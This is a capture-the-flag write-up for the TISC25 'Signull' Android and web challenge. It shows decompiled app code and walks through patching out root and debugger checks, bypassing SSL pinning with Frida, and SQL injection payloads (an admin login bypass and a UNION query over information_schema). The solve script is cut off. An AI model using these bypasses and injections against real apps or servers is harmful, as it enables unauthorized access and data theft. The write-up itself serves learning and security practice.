Level 7B - Signull (mobile / web)

Upon seeing the apk, I immediately threw it into jadx-gui
to decompile the java code and understand what the program was doing.
We can zoom into the actual program's source code by going to Source code > com > ropllc.signull

Let's look at the important parts of signullAPI
: (fqdn is https://chals.tisc25.ctf.sg:21742)
public String getUrl(String str) {
if (str.equalsIgnoreCase("login")) {
return this.fqdn + "/login.php";
}
if (str.equalsIgnoreCase("message")) {
return this.fqdn + "/message.php";
}
if (str.equalsIgnoreCase("index")) {
return this.fqdn + "/index.php";
}
if (str.equalsIgnoreCase("help")) {
return this.fqdn + "/help.php";
}
if (str.equalsIgnoreCase("signature")) {
return this.fqdn + "/signature.php";
}
return "";
}
private String encryptString(String str) throws InvalidKeySpecException, NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException {
try {
PublicKey publicKeyGeneratePublic = KeyFactory.getInstance("RSA").generatePublic(new X509EncodedKeySpec(Base64.decode("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAz71X8syKOvdCFJA0or1QuyjAAvWiz1GgdHLrJtWNB0xNWIn93uDOw9RrcCYtCMqP3m672nYhHGbfJPgPTO42W1uktzKbjSDuwqlfPDffcR5gM0ZPD+OgKDzJM50BYcbx5os8C8LiK4Tc/86T9mM1AygFX85gjcWUGyNjxA6ldVqIVnfZAxYl+VFqzo1glI7r4HpNk2LVhz6vwBNOld3r8/1gk4N7RwKGDsCzCCeK5xPhNYjzCzWLLwd6TAwiGxs4lXQ9ITrfeKzaLgEAEISbCOg6a6/1V1Rqi8DJ7dpp8MZkwLYt1xar4kevcKr50SSDFUHXdAQ2GQ4sCljBPHfixwIDAQAB", 0)));
Cipher cipher = Cipher.getInstance("RSA/ECB/PKCS1PADDING");
cipher.init(1, publicKeyGeneratePublic);
return Base64.encodeToString(cipher.doFinal(str.getBytes()), 2);
} catch (Exception e) {
Log.e("signullAPI-encryptString", e.toString());
return "";
}
}
private JSONObject encryptBody(JSONObject jSONObject) throws JSONException {
JSONObject jSONObject2 = new JSONObject();
try {
jSONObject2.put("data", encryptString(jSONObject.toString()));
return jSONObject2;
} catch (JSONException e) {
Log.e("encryptBody", e.toString());
return jSONObject2;
}
}
public JSONObject loginBody(String str, String str2) throws JSONException {
JSONObject jSONObject = new JSONObject();
JSONObject jSONObject2 = new JSONObject();
try {
jSONObject.put("username", str);
jSONObject.put("password", str2);
jSONObject.put("csrfToken", this.csrfToken);
jSONObject.put("access_token", this.access_token);
return encryptBody(jSONObject);
} catch (JSONException e) {
Log.e("loginBody", e.toString());
return jSONObject2;
}
}
public JSONObject dummyCall() throws JSONException {
JSONObject jSONObject = new JSONObject();
JSONObject jSONObject2 = new JSONObject();
try {
jSONObject.put("test", "lolz");
return encryptBody(jSONObject);
} catch (JSONException e) {
Log.e("fetchTokens", e.toString());
return jSONObject2;
}
}
public JSONObject fetchMsg(String str) throws JSONException {
JSONObject jSONObject = new JSONObject();
JSONObject jSONObject2 = new JSONObject();
try {
jSONObject.put("messageId", str);
jSONObject.put("csrfToken", this.csrfToken);
jSONObject.put("access_token", this.access_token);
return encryptBody(jSONObject);
} catch (JSONException e) {
Log.e("fetchMsg", e.toString());
return jSONObject2;
}
}
private boolean isDeviceRooted(PackageManager packageManager) {
return checkBuildTags() || checkSuperUserPaths() || checkRootManagementApps(packageManager) || checkSuBinary();
}
private boolean checkBuildTags() {
return "test-keys".equals(Build.TAGS);
}
private boolean checkSuperUserPaths() {
Iterator it = Arrays.asList("/system/app/Superuser.apk", "/sbin/su", "/system/bin/su", "/system/xbin/su", "/data/local/xbin/su", "/data/local/bin/su", "/system/sd/xbin/su", "/system/bin/failsafe/su", "/data/local/su").iterator();
while (it.hasNext()) {
if (new File((String) it.next()).exists()) {
return true;
}
}
return false;
}
private boolean checkRootManagementApps(PackageManager packageManager) {
List listAsList = Arrays.asList("com.noshufou.android.su", "com.thirdparty.superuser", "eu.chainfire.supersu", "com.koushikdutta.superuser", "com.zachspong.temprootremovejb", "com.ramdroid.appquarantine");
ArrayList arrayList = new ArrayList();
Iterator<ApplicationInfo> it = packageManager.getInstalledApplications(128).iterator();
while (it.hasNext()) {
arrayList.add(it.next().packageName);
}
Iterator it2 = listAsList.iterator();
while (it2.hasNext()) {
if (arrayList.contains((String) it2.next())) {
return true;
}
}
return false;
}
private boolean checkSuBinary() {
String[] strArr = {"/system/xbin/which su", "/system/bin/which su", "which su"};
for (int i = 0; i < 3; i++) {
try {
if (Runtime.getRuntime().exec(strArr[i]).waitFor() == 0) {
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
}
return false;
}
private boolean checkDebugger() {
try {
Files.exists(new File(new String(Base64.decode(this.f216gr.getResourceName(C0901R.string.definitely) + this.f216gr.getResourceName(C0901R.string.sw3ar) + this.f216gr.getResourceName(C0901R.string.imma) + this.f216gr.getResourceName(C0901R.string.definitelymake) + this.f216gr.getResourceName(C0901R.string.yawr) + this.f216gr.getResourceName(C0901R.string.goddamn) + this.f216gr.getResourceName(C0901R.string.loife) + this.f216gr.getResourceName(C0901R.string.bloody) + this.f216gr.getResourceName(C0901R.string.awesomehehe) + this.f216gr.getResourceName(C0901R.string.hehehe), 2))).toPath(), new LinkOption[0]);
return false;
} catch (Exception e) {
throw new RuntimeException(e);
}
}
private boolean checkRooted() {
return isDeviceRooted(this.f215c.getPackageManager());
}
public boolean apkProtection() {
return checkRooted() || checkDebugger();
}
checkRooted()
checks if the device is rooted by checking build tags, superuser paths, root management apps and su binaries, and checkDebugger()
checks if a particular file exists. (Fun fact: checkDebugger()
checks if /data/local/tmp/frida-server
is present)
Both these checks can be bypassed by simply patching the smali code of the application. Since apkProtection()
wraps checkRooted()
and checkDebugger()
, I simply patched it to always return false. You can perform patching easily by using the tool apktool
which is integrated with visual studio code (link here).
Now let's look at Stage1Activity:
package com.ropllc.signull;
import android.app.AlertDialog;
import android.content.DialogInterface;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import androidx.activity.EdgeToEdge;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.graphics.Insets;
import androidx.core.view.OnApplyWindowInsetsListener;
import androidx.core.view.ViewCompat;
import androidx.core.view.WindowInsetsCompat;
import com.android.volley.AuthFailureError;
import com.android.volley.BuildConfig;
import com.android.volley.Response;
import com.android.volley.VolleyError;
import com.android.volley.toolbox.HttpHeaderParser;
import com.android.volley.toolbox.JsonObjectRequest;
import com.ropllc.signull.Stage1Activity;
import java.util.HashMap;
import java.util.Map;
import org.json.JSONException;
import org.json.JSONObject;
/* loaded from: classes.dex */
public class Stage1Activity extends AppCompatActivity {
private signullAPI sigObj1;
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
protected void onCreate(Bundle bundle) throws JSONException {
super.onCreate(bundle);
this.sigObj1 = new signullAPI(getResources(), getApplicationContext());
EdgeToEdge.enable(this);
int i = 1;
MySingleton.getInstance(this).addToRequestQueue(new JsonObjectRequest(i, this.sigObj1.getUrl("signature"), this.sigObj1.dummyCall(), new C09021(), new Response.ErrorListener() { // from class: com.ropllc.signull.Stage1Activity.2
@Override // com.android.volley.Response.ErrorListener
public void onErrorResponse(VolleyError volleyError) {
AlertDialog.Builder builder = new AlertDialog.Builder(Stage1Activity.this);
builder.setCancelable(true);
builder.setTitle("Error");
builder.setMessage("API is not available. Make sure that your device has a valid, stable internet connection.");
builder.setPositiveButton("OK", new DialogInterface.OnClickListener() { // from class: com.ropllc.signull.Stage1Activity.2.1
@Override // android.content.DialogInterface.OnClickListener
public void onClick(DialogInterface dialogInterface, int i2) {
dialogInterface.dismiss();
Stage1Activity.this.finishAndRemoveTask();
}
});
builder.create().show();
}
}) { // from class: com.ropllc.signull.Stage1Activity.3
@Override // com.android.volley.Request
public Map<String, String> getHeaders() throws AuthFailureError {
HashMap map = new HashMap();
map.put(HttpHeaderParser.HEADER_CONTENT_TYPE, "application/json");
return map;
}
});
}
/* renamed from: com.ropllc.signull.Stage1Activity$1 */
class C09021 implements Response.Listener<JSONObject> {
C09021() {
}
@Override // com.android.volley.Response.Listener
public void onResponse(JSONObject jSONObject) {
TamperCheck tamperCheck = new TamperCheck();
try {
tamperCheck.setAppSignature(jSONObject.getString("debug"));
boolean zValidateAppSignature = tamperCheck.validateAppSignature(Stage1Activity.this.getApplicationContext());
tamperCheck.setAppSignature(jSONObject.getString(BuildConfig.BUILD_TYPE));
boolean zValidateAppSignature2 = tamperCheck.validateAppSignature(Stage1Activity.this.getApplicationContext());
Log.i("Stage1_result_debug", Boolean.toString(zValidateAppSignature));
Log.i("Stage1_result_release", Boolean.toString(zValidateAppSignature2));
if (zValidateAppSignature && zValidateAppSignature2) {
AlertDialog.Builder builder = new AlertDialog.Builder(Stage1Activity.this);
builder.setCancelable(true);
builder.setTitle("[Warning]");
builder.setMessage("Application integrity has been compromised! Kindly install the original one!");
builder.setPositiveButton("OK", new DialogInterface.OnClickListener() { // from class: com.ropllc.signull.Stage1Activity.1.1
@Override // android.content.DialogInterface.OnClickListener
public void onClick(DialogInterface dialogInterface, int i) {
dialogInterface.dismiss();
Stage1Activity.this.finishAndRemoveTask();
}
});
builder.create().show();
return;
}
Stage1Activity.this.setContentView(C0901R.layout.activity_stage1);
ViewCompat.setOnApplyWindowInsetsListener(Stage1Activity.this.findViewById(C0901R.id.message_content), new OnApplyWindowInsetsListener() { // from class: com.ropllc.signull.Stage1Activity$1$$ExternalSyntheticLambda0
@Override // androidx.core.view.OnApplyWindowInsetsListener
public final WindowInsetsCompat onApplyWindowInsets(View view, WindowInsetsCompat windowInsetsCompat) {
return Stage1Activity.C09021.lambda$onResponse$0(view, windowInsetsCompat);
}
});
} catch (Exception e) {
Log.e("Stage1Activity", e.toString());
}
}
static /* synthetic */ WindowInsetsCompat lambda$onResponse$0(View view, WindowInsetsCompat windowInsetsCompat) {
Insets insets = windowInsetsCompat.getInsets(WindowInsetsCompat.Type.systemBars());
view.setPadding(insets.left, insets.top, insets.right, insets.bottom);
return windowInsetsCompat;
}
}
}
The apk's main activity is set as Stage1Activity, but upon inspecting the code we notice that it's simply inspecting the integrity of the application and it doesn't even load Stage2Activity if the checks pass. As such, we can also patch the application by changing the MainActivity to Stage2Activity instead. Here's part of my patched AndroidManifest.xml
:
<activity android:exported="true" android:name="com.ropllc.signull.Stage3Activity"/>
<activity android:exported="true" android:name="com.ropllc.signull.Stage1Activity"/>
<activity android:exported="true" android:name="com.ropllc.signull.Stage2Activity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
Now let's look at Stage2Activity:
package com.ropllc.signull;
import android.app.AlertDialog;
import android.content.DialogInterface;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import androidx.activity.EdgeToEdge;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.graphics.Insets;
import androidx.core.view.OnApplyWindowInsetsListener;
import androidx.core.view.ViewCompat;
import androidx.core.view.WindowInsetsCompat;
import com.android.volley.AuthFailureError;
import com.android.volley.Response;
import com.android.volley.VolleyError;
import com.android.volley.toolbox.HttpHeaderParser;
import com.android.volley.toolbox.JsonObjectRequest;
import java.security.KeyManagementException;
import java.security.NoSuchAlgorithmException;
import java.util.HashMap;
import java.util.Map;
import javax.net.ssl.SSLSocketFactory;
import org.json.JSONException;
import org.json.JSONObject;
/* loaded from: classes.dex */
public class Stage2Activity extends AppCompatActivity {
private TextView flag1;
private signullAPI sigObj;
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
protected void onCreate(Bundle bundle) throws JSONException {
Stage2Activity stage2Activity;
super.onCreate(bundle);
this.sigObj = new signullAPI(getResources(), getApplicationContext());
EdgeToEdge.enable(this);
setContentView(C0901R.layout.activity_stage2);
this.flag1 = (TextView) findViewById(C0901R.id.flag1);
ViewCompat.setOnApplyWindowInsetsListener(findViewById(C0901R.id.message_content), new OnApplyWindowInsetsListener() { // from class: com.ropllc.signull.Stage2Activity$$ExternalSyntheticLambda0
@Override // androidx.core.view.OnApplyWindowInsetsListener
public final WindowInsetsCompat onApplyWindowInsets(View view, WindowInsetsCompat windowInsetsCompat) {
return Stage2Activity.lambda$onCreate$0(view, windowInsetsCompat);
}
});
if (this.sigObj.apkProtection()) { // all the debugger and rooted checks are done here
AlertDialog.Builder builder = new AlertDialog.Builder(getApplicationContext());
builder.setCancelable(true);
builder.setTitle("Warning!");
builder.setMessage("Unauthorised software detected! Exiting program...");
builder.setPositiveButton("OK", new DialogInterface.OnClickListener() { // from class: com.ropllc.signull.Stage2Activity.1
@Override // android.content.DialogInterface.OnClickListener
public void onClick(DialogInterface dialogInterface, int i) {
dialogInterface.dismiss();
Stage2Activity.this.finishAndRemoveTask();
}
});
builder.create().show();
stage2Activity = this;
} else {
JSONObject jSONObjectDummyCall = this.sigObj.dummyCall();
int i = 1;
stage2Activity = this;
MySingleton.getInstance(stage2Activity).addToRequestQueue(new JsonObjectRequest(i, this.sigObj.getUrl("help"), jSONObjectDummyCall, new Response.Listener<JSONObject>() { // from class: com.ropllc.signull.Stage2Activity.2
@Override // com.android.volley.Response.Listener
public void onResponse(JSONObject jSONObject) {
try {
Stage2Activity.this.flag1.setText(jSONObject.getString("flag"));
} catch (JSONException e) {
Log.e("Stage2Activity_OnCreate_Help", e.toString());
}
}
}, new Response.ErrorListener() { // from class: com.ropllc.signull.Stage2Activity.3
@Override // com.android.volley.Response.ErrorListener
public void onErrorResponse(VolleyError volleyError) {
Log.e("Stage2Activity_OnCreate_Help", volleyError.toString());
}
}) { // from class: com.ropllc.signull.Stage2Activity.4
@Override // com.android.volley.Request
public Map<String, String> getHeaders() throws AuthFailureError {
HashMap map = new HashMap();
map.put(HttpHeaderParser.HEADER_CONTENT_TYPE, "application/json");
return map;
}
});
MySingleton.getInstance(stage2Activity).addToRequestQueue(new JsonObjectRequest(i, stage2Activity.sigObj.getUrl("index"), jSONObjectDummyCall, new Response.Listener<JSONObject>() { // from class: com.ropllc.signull.Stage2Activity.5
@Override // com.android.volley.Response.Listener
public void onResponse(JSONObject jSONObject) {
try {
Stage2Activity.this.sigObj.setAccessToken(jSONObject.getString("access_token"));
Stage2Activity.this.sigObj.setCsrfToken(jSONObject.getString("csrfToken"));
} catch (JSONException e) {
Log.e("Stage2Activity_OnCreate_Tokens", e.toString());
}
}
}, new Response.ErrorListener() { // from class: com.ropllc.signull.Stage2Activity.6
@Override // com.android.volley.Response.ErrorListener
public void onErrorResponse(VolleyError volleyError) {
Log.e("Stage2Activity_OnCreate_Tokens", volleyError.toString());
}
}) { // from class: com.ropllc.signull.Stage2Activity.7
@Override // com.android.volley.Request
public Map<String, String> getHeaders() throws AuthFailureError {
HashMap map = new HashMap();
map.put(HttpHeaderParser.HEADER_CONTENT_TYPE, "application/json");
return map;
}
});
}
((Button) stage2Activity.findViewById(C0901R.id.loginButton)).setOnClickListener(new View.OnClickListener() { // from class: com.ropllc.signull.Stage2Activity.8
@Override // android.view.View.OnClickListener
public void onClick(View view) throws JSONException {
int i2 = 1;
MySingleton.getInstance(Stage2Activity.this.getApplicationContext()).addToRequestQueue(new JsonObjectRequest(i2, Stage2Activity.this.sigObj.getUrl("login"), Stage2Activity.this.sigObj.loginBody(((EditText) Stage2Activity.this.findViewById(C0901R.id.loginUsername)).getText().toString(), ((EditText) Stage2Activity.this.findViewById(C0901R.id.loginPassword)).getText().toString()), new Response.Listener<JSONObject>() { // from class: com.ropllc.signull.Stage2Activity.8.1
@Override // com.android.volley.Response.Listener
public void onResponse(JSONObject jSONObject) {
try {
Stage2Activity.this.alertPopup(jSONObject.getString("message"));
Stage2Activity.this.sigObj.setAccessToken(jSONObject.getString("access_token"));
Stage2Activity.this.sigObj.setCsrfToken(jSONObject.getString("csrfToken"));
if (jSONObject.getBoolean("success")) {
Intent intent = new Intent(Stage2Activity.this, (Class<?>) Stage3Activity.class);
intent.putExtra("stage2response", jSONObject.toString());
Stage2Activity.this.startActivity(intent);
}
} catch (JSONException e) {
Log.e("Stage2Activity_onClick_Login", e.toString());
}
}
}, new Response.ErrorListener() { // from class: com.ropllc.signull.Stage2Activity.8.2
@Override // com.android.volley.Response.ErrorListener
public void onErrorResponse(VolleyError volleyError) {
Log.e("Stage2Activity_onClick_Login", volleyError.toString());
}
}) { // from class: com.ropllc.signull.Stage2Activity.8.3
@Override // com.android.volley.Request
public Map<String, String> getHeaders() throws AuthFailureError {
HashMap map = new HashMap();
map.put(HttpHeaderParser.HEADER_CONTENT_TYPE, "application/json");
return map;
}
});
}
});
}
static /* synthetic */ WindowInsetsCompat lambda$onCreate$0(View view, WindowInsetsCompat windowInsetsCompat) {
Insets insets = windowInsetsCompat.getInsets(WindowInsetsCompat.Type.systemBars());
view.setPadding(insets.left, insets.top, insets.right, insets.bottom);
return windowInsetsCompat;
}
private SSLSocketFactory pinnedSSLSocketFactory() {
try {
return new TLSSocketFactory(getApplicationContext().getString(C0901R.string.signull_cert));
} catch (KeyManagementException e) {
e.printStackTrace();
return null;
} catch (NoSuchAlgorithmException e2) {
e2.printStackTrace();
return null;
}
}
/* JADX INFO: Access modifiers changed from: private */
public void alertPopup(String str) {
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setMessage(str).setCancelable(false).setPositiveButton("OK", new DialogInterface.OnClickListener() { // from class: com.ropllc.signull.Stage2Activity.9
@Override // android.content.DialogInterface.OnClickListener
public void onClick(DialogInterface dialogInterface, int i) {
}
});
builder.create().show();
}
}
The important parts are:
SSL Pinning. This is when an application stores the cert/public key of the server, which makes MITM (Man in the Middle) attacks harder
apk protection checks using
apkProtection()
: We patched this to always return false alreadyRetrieving
flag
from thehelp
endpoint (which as we previously saw insignullAPI
should be https://chals.tisc25.ctf.sg:21742/help.php)Retrieving
access_token
andcsrfToken
from theindex
endpoint (https://chals.tisc25.ctf.sg:21742/index.php)When the login button is clicked, we send a JSON request to https://chals.tisc25.ctf.sg:21742/login.php containing the entered username and password, and set our
access_token
andcsrfToken
.If the login is successful we go to Stage3Activity, but if it's unsuccessful we get an error message.
I decided to do a MITM approach to intercept the requests and responses between my android device and the server. I set up an emulated Android device using Android Studio, and installed Magisk on it. Installing Magisk allows us to add system certificates belonging to burp suite, allowing us to MITM using a burp suite proxy. More on setting this up here.
I also needed to bypass the SSL Pinning, and for that I used this frida script taken from here. To set up frida you need to install frida-server
in the device (usually to /data/local/tmp/frida-server
), then use adb
to get a root shell into the device and run the frida server in the background using /data/local/tmp/frida-server &
. You can then install frida on your host, then run a command like frida -U -f com.ropllc.signull -l .\frida-multiple-unpinning.js
to launch the application with the SSL pinning bypass script. If it works correctly you should see:
[+] Bypassing TrustManagerImpl (Android > 7) checkTrustedRecursive check for: chals.tisc25.ctf.sg
[+] Bypassing TrustManagerImpl (Android > 7) checkTrustedRecursive check for: chals.tisc25.ctf.sg
By simply launching the app into Stage2Activity with the frida script you should be able to bypass SSL pinning and see the first half of the flag:

This is also the flag
obtained from /help.php
.
Now, how do we get the next part of the flag? After analysing the code for Stage3Activity, I realised that we need to successfully login in stage 2 to see the message. In other words, bypassing Stage2Activity won't get us the next flag part.
Small note: To login, you need to send a json payload that is encrypted using the RSA public key of the server. You'll see the implementation of this later.
Instead of using the Android UI interface to enter credentials, I used ChatGPT with a jadx-gui mcp to write a script to send requests to the login (and other) endpoint(s).
I spent several days trying to brute-force the credentials to the service, but this never worked.
If you used some invalid credentials the server would respond with a JSON object like:
{"success":false,
"message":"Invalid username or password",
"csrfToken":"3038396539386332616133343966343930313238346531633331353333616234",
"access_token":"r8qpbnnuhc6b3di16cdl7bnkr6",
"debug_msg":"the user \"admin\" works fine for this account. remind me to remove this message when i push this app into production!"}
Which tells us that we should target the admin
account.
Around the midway mark of the CTF, the challenge author announced that the login page "was now working correctly". I eventually realised that the login page was vulnerable to an SQL Injection.
If your username was something like admin' OR '1'='1' #
you would get this response:
{"success":true,
"message":"Login successful",
"csrfToken":"6434316238393662623261636630353066626136303634343830653831303866",
"access_token":"1i28nc4vhi5bcc8p44afsra3g2",
"flag_2":"r3t_15_r0p11"}
Which means we successfully logged in!
Now, we unfortunately realise that we need to find the third part of the flag...
For this, we need to look into Stage3Activity:
package com.ropllc.signull;
import android.app.AlertDialog;
import android.content.DialogInterface;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import androidx.activity.EdgeToEdge;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.graphics.Insets;
import androidx.core.view.OnApplyWindowInsetsListener;
import androidx.core.view.ViewCompat;
import androidx.core.view.WindowInsetsCompat;
import com.android.volley.AuthFailureError;
import com.android.volley.Response;
import com.android.volley.VolleyError;
import com.android.volley.toolbox.HttpHeaderParser;
import com.android.volley.toolbox.JsonObjectRequest;
import java.util.HashMap;
import java.util.Map;
import org.json.JSONException;
import org.json.JSONObject;
/* loaded from: classes.dex */
public class Stage3Activity extends AppCompatActivity {
private signullAPI sigObj2;
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
Intent intent = getIntent();
new JSONObject();
this.sigObj2 = new signullAPI(getResources(), getApplicationContext());
try {
JSONObject jSONObject = new JSONObject(intent.getStringExtra("stage2response"));
this.sigObj2.setCsrfToken(jSONObject.getString("csrfToken"));
this.sigObj2.setAccessToken(jSONObject.getString("access_token"));
} catch (JSONException e) {
Log.e("Stage3Activity_onCreate", e.toString());
}
EdgeToEdge.enable(this);
setContentView(C0901R.layout.activity_stage3);
ViewCompat.setOnApplyWindowInsetsListener(findViewById(C0901R.id.message_content), new OnApplyWindowInsetsListener() { // from class: com.ropllc.signull.Stage3Activity$$ExternalSyntheticLambda0
@Override // androidx.core.view.OnApplyWindowInsetsListener
public final WindowInsetsCompat onApplyWindowInsets(View view, WindowInsetsCompat windowInsetsCompat) {
return Stage3Activity.lambda$onCreate$0(view, windowInsetsCompat);
}
});
final TextView textView = (TextView) findViewById(C0901R.id.msgData);
((Button) findViewById(C0901R.id.btnLoad)).setOnClickListener(new View.OnClickListener() { // from class: com.ropllc.signull.Stage3Activity.1
@Override // android.view.View.OnClickListener
public void onClick(View view) throws JSONException {
int i = 1;
MySingleton.getInstance(Stage3Activity.this.getApplicationContext()).addToRequestQueue(new JsonObjectRequest(i, Stage3Activity.this.sigObj2.getUrl("message"), Stage3Activity.this.sigObj2.fetchMsg(((EditText) Stage3Activity.this.findViewById(C0901R.id.msgIdVal)).getText().toString()), new Response.Listener<JSONObject>() { // from class: com.ropllc.signull.Stage3Activity.1.1
@Override // com.android.volley.Response.Listener
public void onResponse(JSONObject jSONObject2) {
try {
textView.setText(jSONObject2.getString("message"));
Stage3Activity.this.sigObj2.setAccessToken(jSONObject2.getString("access_token"));
Stage3Activity.this.sigObj2.setCsrfToken(jSONObject2.getString("csrfToken"));
} catch (JSONException e2) {
Log.e("Stage3Activity_onClick_LoadMsg", e2.toString());
}
}
}, new Response.ErrorListener() { // from class: com.ropllc.signull.Stage3Activity.1.2
@Override // com.android.volley.Response.ErrorListener
public void onErrorResponse(VolleyError volleyError) {
Log.e("Stage3Activity_onClick_LoadMsg", volleyError.toString());
}
}) { // from class: com.ropllc.signull.Stage3Activity.1.3
@Override // com.android.volley.Request
public Map<String, String> getHeaders() throws AuthFailureError {
HashMap map = new HashMap();
map.put(HttpHeaderParser.HEADER_CONTENT_TYPE, "application/json");
return map;
}
});
}
});
}
static /* synthetic */ WindowInsetsCompat lambda$onCreate$0(View view, WindowInsetsCompat windowInsetsCompat) {
Insets insets = windowInsetsCompat.getInsets(WindowInsetsCompat.Type.systemBars());
view.setPadding(insets.left, insets.top, insets.right, insets.bottom);
return windowInsetsCompat;
}
private void alertPopup(String str) {
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setMessage(str).setCancelable(false).setPositiveButton("OK", new DialogInterface.OnClickListener() { // from class: com.ropllc.signull.Stage3Activity.2
@Override // android.content.DialogInterface.OnClickListener
public void onClick(DialogInterface dialogInterface, int i) {
}
});
builder.create().show();
}
}
Stage3Activity is basically using the verified access_token
to access /message.php
. It uses the message ID specified in an input field for the request. It then displays the obtained message if there is any.
Similarly I used Python to script the requests and responses to this endpoint. The request body would look something like
body2 = {
"messageId": "0",
"csrfToken": out["csrfToken"],
"access_token": out["access_token"]
}
After trying to bruteforce the different messageId values I found that the messageId
field was also vulnerable to an SQL injection.
Since we already know that the #
character comments out the rest of the SQL query, we can do something like
body2 = {
"messageId": """0 UNION SELECT TABLE_CATALOG,TABLE_NAME FROM information_schema.tables #""",
"csrfToken": out["csrfToken"],
"access_token": out["access_token"]
}
to obtain all table names from the SQL database.
Most importantly, when our access_token
is 1i28nc4vhi5bcc8p44afsra3g2
, we see the databases messages_1i28nc4vhi5bcc8p44afsra3g2_389150
and secret_1i28nc4vhi5bcc8p44afsra3g2_389150
.
This means that the table names where messages are stored depend on the access token we are using. As such, we should use our existing admin access token to read the secret value from the secret table. I modified the script to first get the table name corresponding to the existing session, then use the SQL injection vulnerability to read the entries in the secret table. Below is the solve script:
from __future__ import annotations
import argparse
import base64
import json
import os
import sys
import tempfile
from typing import Dict, Tuple, Optional, List, Iterable
# Try to import one of the crypto libs
_which_crypto = None
try:
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.backends import default_backend
_which_crypto = "cryptography"
except Exception:
try:
from Crypto.PublicKey import RSA # type: ignore
from Crypto.Cipher import PKCS1_v1_5 # type: ignore
_which_crypto = "pycryptodome"
except Exception:
_which_crypto = None
try:
import requests # type: ignore
except Exception:
requests = None # type: ignore
BASE_URL = "https://chals.tisc25.ctf.sg:21742"
# RSA public key from com.ropllc.signull.signullAPI.encryptString()
RSA_PUBLIC_KEY_B64 = (
"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAz71X8syKOvdCFJA0or1QuyjAAvWiz1Ggd"
"HLrJtWNB0xNWIn93uDOw9RrcCYtCMqP3m672nYhHGbfJPgPTO42W1uktzKbjSDuwqlfPDffcR5gM0"
"ZPD+OgKDzJM50BYcbx5os8C8LiK4Tc/86T9mM1AygFX85gjcWUGyNjxA6ldVqIVnfZAxYl+VFqzo1"
"glI7r4HpNk2LVhz6vwBNOld3r8/1gk4N7RwKGDsCzCCeK5xPhNYjzCzWLLwd6TAwiGxs4lXQ9ITrf"
"eKzaLgEAEISbCOg6a6/1V1Rqi8DJ7dpp8MZkwLYt1xar4kevcKr50SSDFUHXdAQ2GQ4sCljBPHfix"
"wIDAQAB"
)
# Pinned certificate from strings.xml (signull_cert) — base64 of the certificate DER
SIGNULL_CERT_B64 = (
"MIIEBDCCAuygAwIBAgIUSpw9KbsLpfCy6to430xlGiSzGPAwDQYJKoZIhvcNAQELBQAwfTELMAkGA1UEBhMCU0cxEjAQBgNVBAgMCVNpbmdhcG9yZTESMBAGA1UEBwwJU2luZ2Fwb3JlMQ8wDQYDVQQKDAZDVEYuU0cxDzANBgNVBAsMBlRJU0MyNTEkMCIGA1UEAwwbc2lnbnVsbC5jaGFscy50aXNjMjUuY3RmLnNnMB4XDTI1MDgxMjA1MjQzNloXDTI2MDgxMjA1MjQzNlowfTELMAkGA1UEBhMCU0cxEjAQBgNVBAgMCVNpbmdhcG9yZTESMBAGA1UEBwwJU2luZ2Fwb3JlMQ8wDQYDVQQKDAZDVEYuU0cxDzANBgNVBAsMBlRJU0MyNTEkMCIGA1UEAwwbc2lnbnVsbC5jaGFscy50aXNjMjUuY3RmLnNnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAy1I/TcxU6j5YVOHpedvOxI6PUEp1y0gtADEB1KdJrsrPHix7xEIEM0/0BF1ZtQXKHUpz2FWP8X3Xg5NFbWhO/oSKYUHfFol39rfyAPnKL+DJF1j8V5t/De0/ofXPEY3bMAV5Gfxlau9gWPJrSImXUAhC8fitzNQw3OTsZLJCbX0Ga8/Cx+WEK7JhW5EDrKy31mfux0ymUxvxZMvGqEDYssIRl/y07i7GTuEe+jWInAil0uQIz7KppC5bJUZIDVb9vsI1BcqrY7cox107JWGiDyegI1SLQjXcnuvFiHa2g+riBxCvDPnpYeLDpIWhLVysd+jmlBrOdTR6Uidu/ykoIQIDAQABo3wwejALBgNVHQ8EBAMCBeAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwNwYDVR0RBDAwLoITY2hhbHMudGlzYzI1LmN0Zi5zZ4IXY2hhbHMudGlzYzI1LnN0Zy5jdGYuc2cwHQYDVR0OBBYEFPoteotwA1XNUCWjixibwmv67WTeMA0GCSqGSIb3DQEBCwUAA4IBAQCZojqElbOakW0Ha8J3IUcOy1S8XDmc+g2csWfPjXIRTJgGoqticKVeTKa9iwkWEYOYXRsWNhDXW+OF8RxJNQwH0axFG/tfr09z6LcY+apaN+LzG41rpVdyeOS8EbptlYkqokFxZ5LVX0RqgPaJ/CJY3eq//KXSaAUU7a4xKu2nvMyx6KCdRsUDNN4Sm9OUiGgR350VEUVMWuPgcXZpLKW3iJdPM4DHKCfHCPXSyIbfn8DEm4naqvNgoE9dkA2GMl1cjGw25YbYIm9ZOxTyqcZ4IZQBchaPwxkHIMb8L6ARBwFqumvm2UJpH/zongzTKgIRChGyEOW1JIbUk55JBOGW"
)
def rsa_encrypt_pkcs1_v15(plaintext_json: Dict) -> str:
data = json.dumps(plaintext_json, separators=(",", ":")).encode("utf-8")
